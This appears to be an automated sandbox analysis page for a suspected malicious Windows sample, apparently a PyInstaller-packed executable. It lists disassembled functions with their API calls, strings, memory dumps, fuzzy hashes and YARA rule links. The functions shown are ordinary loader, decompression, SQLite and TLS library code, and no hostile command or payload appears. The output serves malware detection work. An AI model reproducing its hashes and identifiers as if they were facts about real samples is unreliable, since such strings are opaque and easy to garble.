Failed to extract %s: failed to open archive file!, xrefs: 00007FF78DA5149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF78DA515DF
fread, xrefs: 00007FF78DA515E6

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 9de0508d624f5450d0515946ea3b47b1e27dbb23ab3c408e47dc67f8f8a2cece
Instruction ID: 8cbe3c5390da168785e7f66b97b79bb2c6dbf31273a18dd801e5468cb0ed9784
Opcode Fuzzy Hash: 9de0508d624f5450d0515946ea3b47b1e27dbb23ab3c408e47dc67f8f8a2cece
Instruction Fuzzy Hash: C3417161A0C64285EA10EBA1E4409B9F3A0BF44B94FF44832ED5E47795FF7CE949C722

Function 00007FF78DA51210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF78DA512EF
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF78DA512BA
malloc, xrefs: 00007FF78DA512C1, 00007FF78DA512F6
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF78DA51276
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF78DA5141E
1.3.1, xrefs: 00007FF78DA51249

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: c071fae04400aaba9d8a24e5b62ce610f1ca997db65dc53a1f24edd26e5d05d7
Instruction ID: 83bdeffa9b284bc39f9b9522989849a960c31d204fa483dd02379651e05699df
Opcode Fuzzy Hash: c071fae04400aaba9d8a24e5b62ce610f1ca997db65dc53a1f24edd26e5d05d7
Instruction Fuzzy Hash: D451C362A0D64281E660BB91A450BBAA2A0FF45B94FF44131ED4D877C5FF3CED49C312

Function 00007FF78DA536B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF78DA53804), ref: 00007FF78DA536E1
GetLastError.KERNEL32(?,00007FF78DA53804), ref: 00007FF78DA536EB

Part of subcall function 00007FF78DA52C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF78DA53706,?,00007FF78DA53804), ref: 00007FF78DA52C9E
Part of subcall function 00007FF78DA52C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF78DA53706,?,00007FF78DA53804), ref: 00007FF78DA52D63
Part of subcall function 00007FF78DA52C50: MessageBoxW.USER32 ref: 00007FF78DA52D99

Strings

Failed to resolve full path to executable %ls., xrefs: 00007FF78DA53739
Failed to obtain executable path., xrefs: 00007FF78DA536F3
Failed to convert executable path to UTF-8., xrefs: 00007FF78DA53790
\\?\, xrefs: 00007FF78DA5375A
GetModuleFileNameW, xrefs: 00007FF78DA536FA

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: 7717ac3ef6787c80bccf3a6e8d4662c83217e52139907c3021cf21ed31e9620a
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 1F216051F1C64291FA20BB60E805BBAA260BF88354FF00132E59DC65D5FF2CE90DC722

Function 00007FF78DA6BACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6BEF9

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
Instruction ID: 46536c5922b77fcf228592f417f6fff557ab2719c0fd3e374e782951251f6bed
Opcode Fuzzy Hash: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
Instruction Fuzzy Hash: 89C1C42290C686D1E761AB95A440ABDB764FB81B80FF54131EA4E07791EF7CEC4DC722

Function 00007FF78DA56350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF78DA56446
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF78DA563B7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF78DA563F7
Failed to load Python DLL '%ls'., xrefs: 00007FF78DA56497
LoadLibrary, xrefs: 00007FF78DA5649E
ucrtbase.dll, xrefs: 00007FF78DA563CD

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction ID: 5c095a7f8edb46826f69add7f882c1d7a06fe95aeb58edee28593bcec0e75bdb
Opcode Fuzzy Hash: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction Fuzzy Hash: FA416021A0C68791EA11FB60E414AE9A335FB54344FF00132EA5D87696FF3CEA19C762

Function 00007FF8A87EE270 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 412
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF8A87EE4AA

Part of subcall function 00007FF8A87EDCB0: 00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A87EDD1B
Part of subcall function 00007FF8A87EDCB0: 00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A87EDDA3

Strings

winOpen, xrefs: 00007FF8A87EE717
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FF8A87EE586
exclusive, xrefs: 00007FF8A87EE437
psow, xrefs: 00007FF8A87EE81B

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007$CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 4190464644-3829269058
Opcode ID: 5280a881b324a4cb6ad05f88a7fce929787e0ce99ba0f6e5e46ce8e41aa4a42d
Instruction ID: dcfe00dc376ae349572c3bc5eec81d3737cf26d208ef491c454cd3ec0870a0cf
Opcode Fuzzy Hash: 5280a881b324a4cb6ad05f88a7fce929787e0ce99ba0f6e5e46ce8e41aa4a42d
Instruction Fuzzy Hash: B902D622A0F642A7FB549F21E84827977A0FF94BC5F490639DD4E136A0EF3CE4448728

Function 00007FF8A87F7450 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 514COMMON

Download Yara Rule

APIs

00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A87F759D

Strings

-journal, xrefs: 00007FF8A87F77E7
immutable, xrefs: 00007FF8A87F799D
nolock, xrefs: 00007FF8A87F7966

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007
String ID: -journal$immutable$nolock
API String ID: 3568877910-4201244970
Opcode ID: e194d45f35b2fbaba2ac2ccadb7d2706a34cf4a89d42d3abf1769ea237e5720f
Instruction ID: 8bd5fc71df3852a3bf37ba35e9f7d6c9aab19990f2c44ed9da8eab99499cf8c9
Opcode Fuzzy Hash: e194d45f35b2fbaba2ac2ccadb7d2706a34cf4a89d42d3abf1769ea237e5720f
Instruction Fuzzy Hash: 8D32EF22A0A786A6EB648F26944437937A1FF04BE4F084238CE5E17794DF7DE851C328

Function 00007FF8A87F8270 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

Strings

a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309, xrefs: 00007FF8A87F8292, 00007FF8A87F83ED
%s at line %d of [%.10s], xrefs: 00007FF8A87F82B2, 00007FF8A87F840D
database corruption, xrefs: 00007FF8A87F82AB, 00007FF8A87F8406

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309$database corruption
API String ID: 0-481979681
Opcode ID: 47c23143dffde3d282e8a81709d030b6d57d1bc04be7c078c1f514af51d55724
Instruction ID: 1100798ef2e9170d13cc5547435e9d09c3e151a7002584ff9f5a32605aee472d
Opcode Fuzzy Hash: 47c23143dffde3d282e8a81709d030b6d57d1bc04be7c078c1f514af51d55724
Instruction Fuzzy Hash: D3715162A4A64AA2EB658F12E44437D67A1FF44BC4F184035CE4E077A5DFBCEC61C328

Function 00007FF8A87EBC90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 110fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 00007FF8A87EBD50
00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A87EBE14

Strings

winRead, xrefs: 00007FF8A87EBDA8
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FF8A87EBDE9

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007FileRead
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 3505667475-1843600136
Opcode ID: 34abadc55ce37152a0e625104273f76c47d9f65e3254af17bbb92011d13a92b2
Instruction ID: 3fecb15ef5fb93165b61af1979a6bc9764450553bc736b3996f5de8266dbf8ec
Opcode Fuzzy Hash: 34abadc55ce37152a0e625104273f76c47d9f65e3254af17bbb92011d13a92b2
Instruction Fuzzy Hash: 79412732A0EA02A3E711DF25E8485B97B65FF447C0F484136EA8D637A4EF3CE4468758

Function 00007FF78DA65698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA656C5
CreateFileW.KERNEL32 ref: 00007FF78DA65704
CloseHandle.KERNEL32 ref: 00007FF78DA65739

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: 38bb47b91681e90e3759e5caa50946c98ba77ec29ab84b318196f2ebe460bc12
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: 6D41A362D1C781C3E314ABA1A514779A260FF94754F709334EA9C03AD1EF6DE8E8C721

Function 00007FF8A87EEAC0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A87EB300: 00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A87EB363

GetFileAttributesExW.KERNEL32(?,00000000,00000000,00000000,00007FF8A87ED169), ref: 00007FF8A87EEB4A

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FF8A87EEBB7
winAccess, xrefs: 00007FF8A87EEBE3

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007AttributesFile
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 1825365578-1873940834
Opcode ID: 84499ab29627b5492aba6b60c0e16a93cc33538438b499d00d1ba5cc5d11729b
Instruction ID: c76fa17cbdfd20ff3fd5b74cb62dcf2cf920106c8c4e9431a2ece7bff8ba991d
Opcode Fuzzy Hash: 84499ab29627b5492aba6b60c0e16a93cc33538438b499d00d1ba5cc5d11729b
Instruction Fuzzy Hash: 4E51D532E4E743A3F724AB24A84463973A0FF947D5F890635D90E136A0EF3CE4818729

Function 00007FF78DA5CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78DA5CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF78DA5CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF78DA5CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF78DA5CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF78DA5CD91

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 8b5a625c377fdb515b2202e9c594f6b6adbb8d029a8a1063439ad87e4e09b1ce
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: 3C313812E0D24291EA54BBA5A451BB9A7A1BF41784FF40434D94ED72DBFE2CAC4CC223

Function 00007FF8A92E1497 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A92ED225

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FF8A92ED1D1, 00007FF8A92ED2C5

Memory Dump Source

Source File: 00000002.00000002.2408503396.00007FF8A92E1000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000002.00000002.2408466922.00007FF8A92E0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9354000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9379000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9384000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A938E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408720209.00007FF8A9391000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a92e0000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\record\rec_layer_s3.c
API String ID: 1452528299-2209325370
Opcode ID: 51a62517a53e1af6290c80bd97affe434bfd3fd63be3d5eac8527a8d53d04963
Instruction ID: 49356a6c12edefd0f5cff96c68af548e29aadc20b5c8acab55fc765371490b62
Opcode Fuzzy Hash: 51a62517a53e1af6290c80bd97affe434bfd3fd63be3d5eac8527a8d53d04963
Instruction Fuzzy Hash: D7815D32A0EAC595FB518E29D5843B96AE0FB44FC8F184135DE6C8BA89EF39D446C340

Function 00007FF78DA601AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA601F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA602E7

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: 89a0d66e74d23778988640b6be1af4073295565d8ca227545b3d57bf77b45270
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: BA51F721A0D641C6E734AEB5A440E7AA291BF44FA4FB44630DE6D037C5EF3CDC89C626

Function 00007FF78DA6C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF78DA6C33D), ref: 00007FF78DA6C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF78DA6C33D), ref: 00007FF78DA6C1FA

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 49b95c72ff14f870fe2760da0d9a5e477aba02d8da39df5412afdba00879666b
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 1611E26170CA4181DA10BB65B804569A761BB45BF0FB40331EE7D4B7D8EF3CD809C702

Function 00007FF78DA6A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9CE
GetLastError.KERNEL32(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9D8

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
